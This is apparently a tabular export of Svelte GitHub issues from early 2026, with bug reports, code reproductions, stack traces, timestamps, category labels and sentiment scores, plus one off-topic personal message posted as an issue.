    return panelWidth
  }
}
```

Read by a template binding:

```svelte
<div style:width={store.panelWidth ? `${store.panelWidth}px` : null}>
```

### What happens

1. User action triggers a flush
2. During commit, the `style:width` binding reads `store.panelWidth` for the first time
3. The getter writes `$state` (lazy init)
4. In 5.53.8+, this stalls the scheduler — no further updates are processed

### Workaround

Avoid writing `$state` inside getters:

```js
get panelWidth () {
  return panelWidth ?? DEFAULT_WIDTH  // no state write
}
```

###... [TRUNCATED]",,2026-03-10 10:01:09+00:00,2026-03-10 17:52:24+00:00,0,nan,0.3273,state mutation inside getter read during flush deadlocks scheduler regression in describe the bug a store getter that lazily writes on first read deadlocks the scheduler when read inside a template binding during the flush commit phase the ui freezes permanently no errors no stack overflow no crash works in broken in likely cause simplify scheduling logic reproduction click open panel click counter counter does not update ui is frozen no console errors change to works fine the pattern a module store with a getter that writes on first read read by a template binding what happens user action triggers a flush during commit the binding reads for the first time the getter writes lazy init in this stalls the scheduler no further updates are processed workaround avoid writing inside getters truncated,bug,-0.9702
sveltejs/svelte,4050593300,Invalid `svelte:element`s are not caught by `svelte:boundary` during SSR,"### Describe the bug

Rendering errors caused by invalid tags passed to `<svelte:element`s are not caught by the nearest `<svelte:boundary>` during SSR. They work fine on the client during CSR, but trigger a 500 on the server.

As boundaries now work on the server since 5.53.0, I was expecting this kind of error to be also caught. I don't know if there are other rendering errors that are also in this situation, or if invalid tags if the only rendering error that isn't properly caught

Invalid tags errors are correctly caught by the `handleError` hook inside `hooks.server.ts`, though.

### Reproduction

[SvelteLab](https://www.sveltelab.dev/?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte%2C.%2Fsrc%2Flib%2FCounter.svelte#code=N4IgdA5glgLlEDsD2AnApiAXKAZlANhtiAMZIIxoUDOWoA1lAgCZYjUBua%2Bl%2BAhgCMAtAFcoADj4gANCAEicONCiwBtACwA2aZvHTxAZmkBOAKz6jARkvbrl6dfUOADPcvOH7z2%2Bcf39sxdjbxc-SwB2Fz1-T3MvdUjjaIiXOOdo3xdpBOzbSzjLDJ9k21dstMj3AtLsyssAJhNE4PdEyucrMvjSty9rDNyXXrC9LWzGrwMjMZjrEcHZ%2Bo9jdpaGqKGs-tTPHsHjNeGXCec06dK88xmbHfcWrvzdpqDPRvUrk88M6s2xg5C5sdbh0FjdrFc8qU0vdej8Vi9rG8Pi4ALoAXwxsjAAAd0DA4MoUCQ6CA8IQSWQKFQYLRiIwWGxONxeIJRBIpLJ5IplGoGp0TNIDE5rHU0vZxE54UlYoKnKY9AYJmDLMKUjF1MLlrKZVVPH4Qe4ivpenVenshdJ5YKlXlVe17BqssELdZbc9dYbbn0QZpTQjnMF4RarYrtYC7HrNhbHV5naqlZqCmFtOJ2mlky4nMGFW9gupRqNNQKXetPSKXJ0kzLs9aTPYSwnNq6nh6Hk53q8NuX3JXIx3wV8m%2BkW2ULcZpkW4wDCk2VZ5E6FZ%2BYa6HjG56kZQy7nCc0kaByvGtG3pdB7Nh82YtGs0fVb0bV6jge5TmHBvaw33XOB7M54ew482zniUUY3m%2By4TPU5jjlsUGohiaKyNifAkPQfAQGgYAAFbUOQJJkkQoCUpQNAkvS... [TRUNCATED]",,2026-03-10 09:42:08+00:00,2026-03-10 11:38:02+00:00,1,nan,0.0805,invalid s are not caught by during ssr describe the bug rendering errors caused by invalid tags passed to s are not caught by the nearest during ssr they work fine on the client during csr but trigger a on the server as boundaries now work on the server since i was expecting this kind of error to be also caught i don t know if there are other rendering errors that are also in this situation or if invalid tags if the only rendering error that isn t properly caught invalid tags errors are correctly caught by the hook inside though reproduction sveltelab truncated,others,-0.9544
sveltejs/svelte,4045428937,$effect.pending() causes page crash when used in same component or parent boundary as $derived(await ...),"### Describe the bug

Using `$effect.pending()` in a component that also contains `$derived(await ...)` causes the page to crash (tab becomes unresponsive). The same crash occurs when `$effect.pending()` is used in a parent component inside a `<svelte:boundary>` that wraps a child component containing `$derived(await ...)`.

This effectively makes `$effect.pending()` unusable for showing loading states during async data re-fetches in the most common real-world scenario.

### Reproduction

**Scenario 1: `$effect.pending()` in same component as `$derived(await ...)`**

```svelte
<!-- Crashes the page -->
<script>
  import { page } from '$app/state';
  
  const filter = $derived(page.url.searchParams.get('filter'));
  
  const data = $derived(await fetchData(filter));
</script>

{#if $effect.pending()}
  <p>Loading...</p>
{/if}

<p>{data.length} results</p>
```

**Scenario 2: `$effect.pending()` in parent inside `<svelte:boundary>`**

```svelte
<!-- Parent.svelte - also crashes/hangs -->
<svelte:boundary>
  {#snippet pending()}
    <p>Initial load...</p>
  {/snippet}

  <!-- $effect.pending() used here, inside the boundary but outside AsyncChild -->
  <AsyncChild pending={!!$effect.pending()} />
</svelte:boundary>
```

```svelte
<!-- AsyncChild.svelte -->
<script>
  const data = $derived(await fetchData());
</script>
<p>{data.length} results</p>
```

In Scenario 2, the boundary gets stuck showing the `pending` snippet forever — `$effect.pending()` appears to prevent the boundary... [TRUNCATED]",,2026-03-09 12:52:28+00:00,2026-03-09 15:49:58+00:00,0,nan,0.1233,effect pending causes page crash when used in same component or parent boundary as derived await describe the bug using in a component that also contains causes the page to crash tab becomes unresponsive the same crash occurs when is used in a parent component inside a that wraps a child component containing this effectively makes unusable for showing loading states during async data re fetches in the most common real world scenario reproduction scenario in same component as scenario in parent inside in scenario the boundary gets stuck showing the snippet forever appears to prevent the boundary truncated,bug,-0.9205
sveltejs/svelte,4044607187,Memory leak from changing mounted component's props,"### Describe the bug

Changing the props of a mounted component following the guide at https://svelte.dev/docs/svelte/v5-migration-guide#Components-are-no-longer-classes seems to increase the memory usage without it ever being released. This affects SvelteKit navigation as we set new props on every navigation.

### Reproduction

https://github.com/teemingc/svelte-memory-leak

Instructions are in the README.md

Memory leak still happens even when commenting out the `<Counter>` component

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 124.92 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.22.0 - /Users/teeming/Library/pnpm/node
    Yarn: 3.2.3 - /Users/teeming/Library/pnpm/yarn
    npm: 10.9.4 - /Users/teeming/Library/pnpm/npm
    pnpm: 10.31.0 - /Users/teeming/Library/pnpm/pnpm
    bun: 1.3.9 - /opt/homebrew/bin/bun
  Browsers:
    Chrome: 145.0.7632.160
    Chrome Canary: 135.0.7048.0
    Firefox: 147.0.3
    Firefox Developer Edition: 130.0
    Safari: 26.3.1
    Safari Technology Preview: 26.0
  npmPackages:
    svelte: ^5.45.2 => 5.53.7
```

### Severity

annoyance",,2026-03-09 10:00:33+00:00,2026-03-21 12:33:47+00:00,3,nan,12.1064,memory leak from changing mounted component s props describe the bug changing the props of a mounted component following the guide at seems to increase the memory usage without it ever being released this affects sveltekit navigation as we set new props on every navigation reproduction instructions are in the readme md memory leak still happens even when commenting out the component logs system info severity annoyance,others,-0.7783
sveltejs/svelte,4040816746,Sibling blocks inside `{#if}` guard evaluate with nulled value when `{#key}` has `transition:fade|global`,"### Describe the bug

When a `{#key}` block with `transition:fade|global` is inside an `{#if}` guard, setting the guarded variable to `null` causes sibling blocks (and the `{#key}` expression itself) to be re-evaluated **before** the outer `{#if}` tears down the branch. This results in a `TypeError: Cannot read properties of null`.

This is a regression introduced in **5.53.7** — the same code works correctly in **5.53.6**.

All three conditions are required to trigger the bug:
1. An `{#if data}` guard
2. A `{#key}` block inside the guard
3. `transition:fade|global` on an element inside the `{#key}` block

Without `|global`, or without the `{#key}`, or without the transition, the bug does not occur.

### Reproduction

```svelte
<script>
  import { fade } from 'svelte/transition';

  let data = $state({ id: 1 });

  function clear() {
    data = null;
  }
</script>

<button onclick={clear}>Clear</button>

{#if data}
  {#key data?.id}
    <p transition:fade|global={{ duration: 100 }}>keyed</p>
  {/key}

  {#if data.id}
    <p>sibling</p>
  {/if}
{/if}
```

**Steps:**
1. Click the ""Clear"" button

**Expected:** The `{#if data}` block tears down cleanly, and neither the `{#key}` expression nor the sibling `{#if data.id}` is re-evaluated after `data` becomes `null`.

**Actual:** `Uncaught TypeError: Cannot read properties of null (reading 'id')` — the sibling `{#if data.id}` condition (or the `{#key}` expression, if not guarded with `?.`) is evaluated while `data` is already `null`... [TRUNCATED]",,2026-03-08 08:12:42+00:00,2026-03-09 14:40:08+00:00,1,nan,1.2691,sibling blocks inside guard evaluate with nulled value when has describe the bug when a block with is inside an guard setting the guarded variable to causes sibling blocks and the expression itself to be re evaluated before the outer tears down the branch this results in a this is a regression introduced in the same code works correctly in all three conditions are required to trigger the bug an guard a block inside the guard on an element inside the block without or without the or without the transition the bug does not occur reproduction steps click the clear button expected the block tears down cleanly and neither the expression nor the sibling is re evaluated after becomes actual the sibling condition or the expression if not guarded with is evaluated while is already truncated,others,-0.9648
sveltejs/svelte,4028754045,#if accessed after snippet removed crash (5.53.7),"### Describe the bug

The update from 5.53.6 to 5.53.7 introduced a bug where the app crashes with null-pointer, when an if condition is used inside a snippet which accesses an attribute of the snippet parameter:

Cannot read properties of null (reading 'x')

### Reproduction

https://svelte.dev/playground/83f9ef3037ad4f2a92bdd860ff69e7ff?version=latest

### Logs

```shell
TypeError: Cannot read properties of null (reading 'x')
    at eval (playground:output:44563:27)
    at eval (playground:output:6781:4)
    at update_reaction (playground:output:5081:17)
    at update_effect (playground:output:5283:19)
    at #traverse_effect_tree (playground:output:1676:7)
    at Batch.process (playground:output:1607:31)
    at flush_effects (playground:output:2030:11)
    at Batch.flush (playground:output:1752:5)
    at Array.eval (playground:output:1926:13)
    at run_all (playground:output:135:10)
```

### System Info

```shell
Easily reproducible in Svelte Playground
```

### Severity

blocking an upgrade",,2026-03-05 14:54:11+00:00,2026-03-09 14:40:07+00:00,0,nan,3.9902,if accessed after snippet removed crash describe the bug the update from to introduced a bug where the app crashes with null pointer when an if condition is used inside a snippet which accesses an attribute of the snippet parameter cannot read properties of null reading x reproduction logs system info severity blocking an upgrade,bug,-0.9118
sveltejs/svelte,4026384634,Is Svelte Signal blocking?,"### Describe the problem

As an application grows in complexity, the number of signals and reactive effects increases significantly. For instance, consider 100 signals connected to 100 effects. If a single signal triggers all of them simultaneously while a user is performing an action, the user experiences lag. This happens because the user's interaction is blocked by the heavy reactive workload because Javascript is single threaded

If this is the case, I propose a priority system : reactivity updates should yield to user actions. Once the user interaction is handled, the system can then resume the paused reactive tasks

Consider this example : when I click the update button, the reactivity for the scroll status experiences a significant delay

```svelte
<script>
  import { onMount } from 'svelte';

  let signals = $state(Array.from({ length: 100 }, () => 0));
  let scrollY = $state(0);
  let status = $state('Idle');

  $effect(() => {
    signals.forEach((sig, i) => {
      const start = performance.now();
      while (performance.now() - start < 10) {}
    });
    status = 'Done!';
  });

  function triggerUpdate() {
    status = 'Processing (Check if Scroll Freezes)...';
    for (let i = 0; i < signals.length; i++) {
      signals[i] += 1;
    }
  }

  onMount(() => {
    const handleScroll = () => { scrollY = window.scrollY; };
    window.addEventListener('scroll', handleScroll);
    return () => window.removeEventListener('scroll', handleScroll);
  });
</script>

<div c... [TRUNCATED]",perf,2026-03-05 07:24:06+00:00,2026-03-12 22:04:12+00:00,4,perf,7.6112,is svelte signal blocking describe the problem as an application grows in complexity the number of signals and reactive effects increases significantly for instance consider signals connected to effects if a single signal triggers all of them simultaneously while a user is performing an action the user experiences lag this happens because the user s interaction is blocked by the heavy reactive workload because javascript is single threaded if this is the case i propose a priority system reactivity updates should yield to user actions once the user interaction is handled the system can then resume the paused reactive tasks consider this example when i click the update button the reactivity for the scroll status experiences a significant delay svelte import onmount from svelte let signals state array from length let scrolly state let status state idle effect signals foreach sig i const start performance now while performance now start status done function triggerupdate status processing check if scroll freezes for let i i signals length i signals i onmount const handlescroll scrolly window scrolly window addeventlistener scroll handlescroll return window removeeventlistener scroll handlescroll div c truncated,others,-0.8442
sveltejs/svelte,4022230883,`#each` not removing old rows from DOM if it contains `await`,"### Describe the bug

When spamming the `Spam` button in the playground reproduction (so updating the state before the promise is resolved), it will lead to existing rows not being removed.

In  `5.53.6` it works fine for a flat `$state('string')` variable and failed with `Cannot read properties of undefined (reading 'e')` when the state variable is a nested object `$state({id: 'object'})`.

Now, in `5.53.7` it will fail for both flat or nested state variables.

The `(reading 'e')` error was fixed in #17843 and merged in `5.53.7`, but I'm more leaning towards https://github.com/sveltejs/svelte/pull/17819 having something to do with it.

### Reproduction

[Playground with $state('string') and 5.53.7](https://svelte.dev/playground/hello-world?version=5.53.7#H4sIAAAAAAAACm2O0UrDUAyGXyVEYS2UdihDqG3BBxAEvVt3cdZm7uBpTmmyVSl9dzkr0wu9CeEjX_5_QjYdYY6bdHOfPsBo9Qi3okYpWokOlt9XMSZ4sI4E8-2E-tWH-wAwudpPfZ_KmZwGtjdC__HGsxKrYI6FNIPttaq5VkcKSxKUf6Ifaw43jWdRGI1VKCGKoayAaYSXwXdWKBpIvDtTwEL6ZjvyJ73SBO7W63UcXhXZby4X-5OqZ_DcONt8lNPy96fKs9FjOhhufRfFc_Xam67IFufiTzdkmiNsF2EHRkAgkngOhSdzKRtGtJCitedqkrnIwlLzlAV9xgSVPhVzHU407xJUY91oucX8YJzQ_A2l-7GeogEAAA)
[Playground with $state('string') and 5.53.6](https://svelte.dev/playground/hello-world?version=5.53.6#H4sIAAAAAAAACm2OwUrDQBCGX2UYhSYQkqLUQ0wCPoAg6K3pYZtM7eJmNmSmjRLy7rIN1YNehuFjvvn_Cdl0hDlu0s19-gCj1SPcihqlaCU6WH5fxZjgwToSzLcT6lcf7gPA5Go_9X0qZ3Ia2N4I_ccbz0qsgjkW0gy216rmWh0pLElQ_ol-rDncNJ5FYTRWoYQohrICphFeBt9ZoWgg8e5MAQvpm-3In_RKE7hbr9dxeFVkv7lc7E-qnsF... [TRUNCATED]",,2026-03-04 14:14:41+00:00,2026-03-17 13:53:31+00:00,0,nan,12.9853,not removing old rows from dom if it contains describe the bug when spamming the button in the playground reproduction so updating the state before the promise is resolved it will lead to existing rows not being removed in it works fine for a flat variable and failed with when the state variable is a nested object now in it will fail for both flat or nested state variables the error was fixed in and merged in but i m more leaning towards having something to do with it reproduction playground with state string and playground with state string and truncated,others,-0.7003
sveltejs/svelte,4019636950,Derivations of delayed sync values are not delayed,"### Describe the bug

When a synchronous state is a dependency of an asynchronous derivation, it is delayed until its asynchronous dependents are resolved to avoid tearing.
But its synchronous derivations are not delayed, which ultimately causes tearing.

### Reproduction

When the button is clicked, derivedCount updates before all others.
Similarly, it does not result in true when compared to itself eager
[REPL](https://svelte.dev/playground/hello-world?version=5.53.7#H4sIAAAAAAAAA21RT0-DMBT_Ks_GA41zY1cGJMaLRw_enIeOPkxj15L2MVwI392Wbm6LHjjw-_9gZEbskRXsBbW2MFinJWQoFaHkbMFapdGz4n1kdOyiLgIBP7meum7pD6gpYjvh8T-8sYbQUIhhpW-c6qjemi21vWlIWQMStTiizA4cxkhsySH1zoDBAV6d3SuPmYOqBo_0pvZoe8oyHgEXTAtY53nOebROsz88Ggka2xuCCu49CcIs55vIhDWezp3PZ4lEpw5hgxiE-mWzOYHf-mbdH19SblJ9ubqcacpdTxSutKbRqvmqxrQ8jXuoYD3NX2MmfQHjTEzwCOP1xhNwKZ9iTYpONV09pkOXKD7RnRbBXVXBJfJGcR2XhDcF5aqrw98j_CZWkOtx-ghvQulBGcmKVmiP0w8AwXchQAIAAA)

### Logs

```shell

```

### System Info

```shell
Using Svelte compiler version 5.53.7
running Svelte compiler version 5.53.7
```

### Severity

annoyance",,2026-03-04 02:10:31+00:00,2026-03-12 19:10:08+00:00,0,nan,8.7081,derivations of delayed sync values are not delayed describe the bug when a synchronous state is a dependency of an asynchronous derivation it is delayed until its asynchronous dependents are resolved to avoid tearing but its synchronous derivations are not delayed which ultimately causes tearing reproduction when the button is clicked derivedcount updates before all others similarly it does not result in true when compared to itself eager repl logs system info severity annoyance,others,-0.7781
sveltejs/svelte,4011989407,keyed-`{#each}` with `{@const = await}` causes `Cannot read properties of undefined (reading 'e')`,"### Describe the bug

Honestly, the code explains the edge-case better than words:

```svelte
<script>	
	let index = $state(0);

	function fn(id) {
		// When index changes to from 0 to 1, we explicitly simulate the undefined error
		if (id === 2) throw new Error(""Simulated TypeError"");
	}
</script>

<button onclick={() => index = 1}>Trigger</button>

<svelte:boundary>
	{#snippet pending()}Loading...{/snippet}
	{#snippet failed(error)}Error Caught: {error.message}{/snippet}

	{#each [[1], [2]][index] as id (id)}
		{@const result = await fn(id)}
	{/each}
</svelte:boundary>
```

The `result` isn't even used, and `fn` isn't actually doing any async work, but the console will still log this cryptic error:  `TypeError: Cannot read properties of undefined (reading 'e')` instead of the real error that was actually thrown.

It requires the error boundary to log (not 100% if that's just in the playground environment) and behaviour does not change by removing the pending snippet.

Also, I'm pretty sure that a `$state` mutation IS required for this to happen.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.53.6#H4sIAAAAAAAAE21RwaqcQBD8lWaSg4Lo23c065IQAjnklgc56B5mnVabzPbITBt3Ef89jO4LvPBuTXV1UVW9KNZXVKX6jtY6mJ23BhI0JGhSlamOLAZV1ouS-xh5EVDZ69WXcczDH7QSsYsO-B7eOhZkCapUx9B6GuXUSMONWBQgNniDCj4G0YLJU_qp4bjrJm6FHEPHCZkUlgg2UhTwa0B-nLWD5h4DiIPOuys8xemQwYyAt9FSS2LvEOg6WS0IMiBMbLAjRgPovfO7KnWQkIGqquA5BRm8m4Fxhm-RkjTq50PBwMt9xA1t1OZU1oaPxWsqbvh4mUQcg-PWUvu7WpIUqtO_mIf19OKp79Ef... [TRUNCATED]",,2026-03-02 15:56:56+00:00,2026-03-03 15:21:00+00:00,0,nan,0.975,keyed with causes describe the bug honestly the code explains the edge case better than words the isn t even used and isn t actually doing any async work but the console will still log this cryptic error instead of the real error that was actually thrown it requires the error boundary to log not if that s just in the playground environment and behaviour does not change by removing the pending snippet also i m pretty sure that a mutation is required for this to happen reproduction truncated,others,-0.5859
sveltejs/svelte,4007766709,Is this the new normal?,"### Describe the bug

I am not entirely sure if it is a bug or just a misconfiguration on my part but I find very strange the `state_referenced_locally` warning since it happens in situations that are completely redundant and often times taken from the documentation. 
A piece of code like this
```javascript 
// layout.svelte
  let { children, data }: LayoutProps = $props();
  setCurrentUserContext(data.user); // this has a warning: this reference only capture the initial value of data
```
and this makes it go away
```javascript 
// layout.svelte
  let { children, data }: LayoutProps = $props();
  const d = () => data;
  setCurrentUserContext(d().user); // this doesn't give a waring
```
Please tell me this is not a new syntax or a new approach we now have to use, it's really unsettling

### Reproduction

Just simply follow the get started guide on the svelte.dev/docs/kit and setup either a `+page.svelte` or a `+layout.svelte` and get the data using the `$props` rune and then use it somewhere inside the script tag as the example above

### Logs

```Shell

```

### System Info

```Shell
MacOs
```

### Severity

annoyance

### Additional Information

_No response_",,2026-03-01 16:49:27+00:00,2026-03-01 17:42:39+00:00,1,nan,0.0369,is this the new normal describe the bug i am not entirely sure if it is a bug or just a misconfiguration on my part but i find very strange the warning since it happens in situations that are completely redundant and often times taken from the documentation a piece of code like this and this makes it go away please tell me this is not a new syntax or a new approach we now have to use it s really unsettling reproduction just simply follow the get started guide on the svelte dev docs kit and setup either a or a and get the data using the rune and then use it somewhere inside the script tag as the example above logs system info severity annoyance additional information no response,feature,-0.8509
sveltejs/svelte,4006205251,5.53.0 broke mdsvex,"### Describe the bug

Adding an inline comment `// ...` inside a `<script>` block in an `.mdx` file causes the compiler to crash with 
```
[plugin:vite-plugin-svelte:preprocess] Error while preprocessing E:/work/mdxbug/src/routes/+page.mdx - Cannot read properties of undefined (reading 'push')
E:/work/mdxbug/src/routes/+page.mdx
    at file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23815:19
    at Array.forEach (<anonymous>)
    at extract_parts (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23814:10)
    at file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23934:62
    at overload (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7440:12)
    at visit (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7377:27)
    at visitParents$1 (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7350:26)
    at visit$5 (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:7435:3)
    at transformer (file:///E:/work/mdxbug/node_modules/.pnpm/mdsvex@0.12.6_svelte@5.53.6/node_modules/mdsvex/dist/main-hjyl9aFB.js:23933:3)
    at wrapped (file:///E:/work/mdxbug/n... [TRUNCATED]",,2026-03-01 04:09:19+00:00,2026-03-01 06:56:09+00:00,4,nan,0.1159,broke mdsvex describe the bug adding an inline comment inside a block in an file causes the compiler to crash with plugin vite plugin svelte preprocess error while preprocessing e work mdxbug src routes page mdx cannot read properties of undefined reading push e work mdxbug src routes page mdx at file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at array foreach at extract parts file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at overload file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at visit file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at visitparents file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at visit file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at transformer file e work mdxbug node modules pnpm mdsvex svelte node modules mdsvex dist main hjyl afb js at wrapped file e work mdxbug n truncated,others,-0.9531
sveltejs/svelte,3999002601,"SSR: `$store` inside `<option>` text content is not wrapped with `store_get()`, causing ReferenceError","### Describe the bug

When using a `$store` variable inside the text content of an `<option>` element within a `<select>`, the SSR compiler does not wrap the reference with `store_get()`. This causes a `ReferenceError: $store is not defined` during server-side rendering.

This is a common pattern when using i18n libraries like `sveltekit-i18n`, where `t` is a store containing a translation function.

### Reproduction

```svelte
<script>
	import { readable } from 'svelte/store';

	const t = readable((key: string) => key);

	let value = $state('');
</script>

<select bind:value>
	<option disabled value="""">{$t('placeholder')}</option>
	<option value=""a"">A</option>
	<option value=""b"">B</option>
</select>
```

When this component is server-side rendered, it throws:

```
ReferenceError: $t is not defined
```

All other template expressions correctly compile `$store` to `store_get($$store_subs ??= {}, ""$store"", store)(...)`, but the `Renderer.option()` code path outputs raw `$store(...)`.

**Compiled SSR output (incorrect):**

```js
$$renderer.option({ disabled: true }, $t('placeholder'));
```

**Expected SSR output:**

```js
$$renderer.option({ disabled: true }, store_get(($$store_subs ??= {}), '$t', t)('placeholder'));
```

### Expected behaviour

`$store` inside `<option>` text content should be compiled with `store_get()` like all other template expressions, and SSR should render without errors.

### Workaround

Extract the store value into a `$derived` variable and use that ins... [TRUNCATED]",,2026-02-27 04:22:41+00:00,2026-02-27 20:01:14+00:00,0,nan,0.6518,ssr inside text content is not wrapped with causing referenceerror describe the bug when using a variable inside the text content of an element within a the ssr compiler does not wrap the reference with this causes a during server side rendering this is a common pattern when using i n libraries like where is a store containing a translation function reproduction when this component is server side rendered it throws all other template expressions correctly compile to but the code path outputs raw compiled ssr output incorrect expected ssr output expected behaviour inside text content should be compiled with like all other template expressions and ssr should render without errors workaround extract the store value into a variable and use that ins truncated,bug,0.825
sveltejs/svelte,3998096870,Inline Components,"### Describe the problem

Most apps have a lot of components, and having a separate file for each component can be pretty annoying.

### Describe the proposed solution

Svelte already has the notion of `.svelte.ts` files, so I propose a new syntax in `.svelte.ts` files, that being the `component` expression.

e.g

```typescript
export const IconFiretruck = component {
    <svg>
         <!--...-->
    </svg>
}
```

I could possibly create a pull request for this when I have time.

### Importance

would make my life easier",,2026-02-26 22:35:29+00:00,2026-02-26 22:57:27+00:00,1,nan,0.0153,inline components describe the problem most apps have a lot of components and having a separate file for each component can be pretty annoying describe the proposed solution svelte already has the notion of files so i propose a new syntax in files that being the expression e g i could possibly create a pull request for this when i have time importance would make my life easier,others,0.7579
sveltejs/svelte,3984495451,Cutiee,"### Describe the bug

My girl🥹🧿

### Reproduction

Will you be my forever??? I'm alone in my life🙂! Just close urh eyes nd see 👀 it's full of darkness right 🙃 that's me with uhh🫠❤️‍🩹 nanu bere avru thara ninge promise yalla madla 🤧 edu astu dina nina kushi Kushi inda nodkthyne kane 🥹🧿🌍 nima amma appa nu astu prethi kodke aglaa avaru nenpu barde ero thara nodkoo thyne kanee🫶🏻🪐💗will uhh  agree me🥺

### Logs

```shell
Love
```

### System Info

```shell
Mine❤️‍🔥😎🌍
```

### Severity

annoyance",,2026-02-24 15:56:30+00:00,2026-02-24 15:58:18+00:00,1,nan,0.0012,cutiee describe the bug my girl reproduction will you be my forever i m alone in my life just close urh eyes nd see it s full of darkness right that s me with uhh nanu bere avru thara ninge promise yalla madla edu astu dina nina kushi kushi inda nodkthyne kane nima amma appa nu astu prethi kodke aglaa avaru nenpu barde ero thara nodkoo thyne kanee will uhh agree me logs system info severity annoyance,others,-0.5423
sveltejs/svelte,3983222007,Subscribe inside $derived errors out during reconcilation,"### Describe the bug

I have a use-case where I'm filtering by the inner children that are ""lazily"" loaded, I don't want to wait for every inner fetch to resolve until filtering so I've subscribed to it inside `$derived` that filters, depending on the svelte version it either errors out or I'm getting 100% cpu hang as the list is much bigger than the repro one. The last working version that worked for me was `5.46.1`.

Alternatively I would appreciate telling me what would be the idiomatic/happy-path way to solve my use-case.

### Reproduction

https://www.sveltelab.dev/531c2f389t4x26q

1. Filter out the records
2. Expand the entry
3. Press Refresh
4. Check console for errors

Also tried 

```svelte
{#if waybill.expanded}
    <ul>
        {#await waybill.orders then orders}
            {#each orders as order (order.id)}
	         <li>{order.id}</li>
	     {/each}
        {/await}
    </ul>
{/if}
```

and also directly `await` inside w/ boundary.

In my real project it sometimes works for that but without fail gets 100% cpu hang when filtering out, setting date back by one day (we get more records etc), expanding, then pressing refresh, it seems it somehow still sees the previous batch and tries to somehow compute that but it's a little bit unrelated to the reproduction. Historically it also behaved differently depending on using keyed/unkeyed each block.

### Logs

```shell
Uncaught TypeError: can't access property ""e"", items.get(...) is undefined
    reconcile http://localho... [TRUNCATED]",,2026-02-24 11:45:46+00:00,2026-03-03 16:59:02+00:00,6,nan,7.2175,subscribe inside derived errors out during reconcilation describe the bug i have a use case where i m filtering by the inner children that are lazily loaded i don t want to wait for every inner fetch to resolve until filtering so i ve subscribed to it inside that filters depending on the svelte version it either errors out or i m getting cpu hang as the list is much bigger than the repro one the last working version that worked for me was alternatively i would appreciate telling me what would be the idiomatic happy path way to solve my use case reproduction filter out the records expand the entry press refresh check console for errors also tried and also directly inside w boundary in my real project it sometimes works for that but without fail gets cpu hang when filtering out setting date back by one day we get more records etc expanding then pressing refresh it seems it somehow still sees the previous batch and tries to somehow compute that but it s a little bit unrelated to the reproduction historically it also behaved differently depending on using keyed unkeyed each block logs shell uncaught typeerror can t access property e items get is undefined reconcile truncated,bug,0.1078
sveltejs/svelte,3981420808,Exception in {#await} pending branch causes both pending and then branches to render,"### Describe the bug

Whenever an exception happens inside pending branch of an {#await} block while promise itself resolves correctly, you end up in a weird state with both pending and then branches rendered.

I am not sure what would be the correct thing to do here, maybe this behavior is intentional. Personally I would at least expect pending branch to disappear.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.53.3#H4sIAAAAAAAAE22QMW-EMAyF_4qVDgfSqdzSBVGk2zp26FY6BOLTRQ0OSgy0Qvff61wpLB39-b3nlyyKdI-qVC_onIfZB2cgQ2MZTa6O6mIdRlW-L4q_h6RLQPjqOg_DY5zQcWKtjvgf7zwxEkuMqmIX7MB1Qw0LjgxD8L2NCM9AOMPr75QFjN5NQmuIyG-2Rz9yluUJrLvs8GddgTnkR3g6nfK8oarYD9HyoGdtt1O3dLwydgIOmqJl66m8aIM1XzEg2AiaAEPwARKoCtFK0FLKnoDxi7eIermPu6TT3F33dTsy8FUSW-e7T3nihEH6ksEQN1Nxrycm-asUp0oOI94-ZNLWzZaMkn5Omv8AzlrXQ64BAAA)

```svelte
<script>
	const promise = new Promise(resolve => setTimeout(() => resolve('promise resolved'), 500))
</script>

{#await promise}
	<div transition:fade>there is an error here</div>
{:then text}
	<div>{text}</div>
{:catch}
	<div>but this block never renders</div>
{/await}
```

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2026-02-24 04:19:58+00:00,2026-02-26 03:09:18+00:00,2,nan,1.9509,exception in await pending branch causes both pending and then branches to render describe the bug whenever an exception happens inside pending branch of an await block while promise itself resolves correctly you end up in a weird state with both pending and then branches rendered i am not sure what would be the correct thing to do here maybe this behavior is intentional personally i would at least expect pending branch to disappear reproduction repl logs system info severity annoyance,others,-0.7883
sveltejs/svelte,3979328603,Scopes aren't tracked correctly in function arguments,"### Describe the bug

Svelte's scope tracker reuses the same scope for a function's arguments and body. Body declarations end up referenced in argument initializers shadowing the parent scopes' declarations, potentially making an initializer [skip rune transformation logic](https://svelte.dev/playground/590c171f1436486e9072bbc2641c9b53?version=5.53.3).

